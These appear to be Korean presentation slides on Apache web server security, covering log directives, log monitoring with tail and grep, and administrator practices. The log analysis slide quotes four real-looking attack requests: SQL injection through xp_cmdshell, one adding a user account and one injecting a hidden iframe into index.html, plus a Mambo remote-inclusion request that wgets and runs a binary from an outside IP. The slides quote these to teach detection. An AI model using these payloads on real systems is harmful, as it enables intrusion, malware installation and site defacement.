로그파일분석 로그파일관련지시어 - ErrorLog -LogLevel -LogFormat - CustomLog 로그파일의감시 # tail f logs/access_log # tail f logs/access_log grep 404 로그파일에기록되는비이상적인요청이무엇인가? 1) 61.73.XX.93 - - [26/Aug/2005:11:49:01 +0900] "GET /cgibin/tools/ctss.idc?ds=localserver&user=sa&pwd=&table=ngt(ng%20int);exec+master..xp_cmdshell(\"cmd.exe+/c %20dir\");-- HTTP/1.0" 404 569 2) [Thu Dec 29 16:36:05 2005] [error] [client 168.75.27.XX] request failed: erroneous characters after protocol string: GET /cvs/mambo/index2.php?_request[option]=com_content&_request[itemid]=1&globals=&mosconfig_absolute_ path=http://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;e cho%20yyy;echo HTTP\x01.1 3) http://victim/url.asp?id=1;exec master..xp_cmdshell net user name password /add 4) http://victim/url.asp?id=1;exec master..xp_cmdshell echo <ifrmae src=http://www.target.com/icyfox.htm width= 0 height= 0 ></iframe> >> c:\inetpub\www\index.html ; 로그파일분석프로그램활용 - WebAlizer - 이외기타자유롭게사용할수있는공개된분석툴이있음

Real World Example 사이트의웹서버로그파일을한번들여다볼까요?

관리자의역할 보안은단한번의설정으로이뤄지지않는다는점을기억 이제보안은선택이아닌 필수 웹서버운영에심각한취약점이발표된경우빠르게대처해야한다. 아파치사이트에서발표하는 Announce 메일링리스트구독 announce-subscribe@httpd.apache.org p 만일의사태를대비하여데이터의백업과주기적인백업절차를마련 보안관련메일링리스트와사이트를통해웹서버와사용하는웹프로그램과관련한보안취약점정보를수집한다. 안전한웹서버의운영을원한다면본인스스로가보안에대한중요성을인지하고지속적인관심을가지고더욱더안전한운영방법을위한노력이필요하다.

어떠세요? 이제여러분들의웹서버를안전하게만들준비가되셨나요

Questions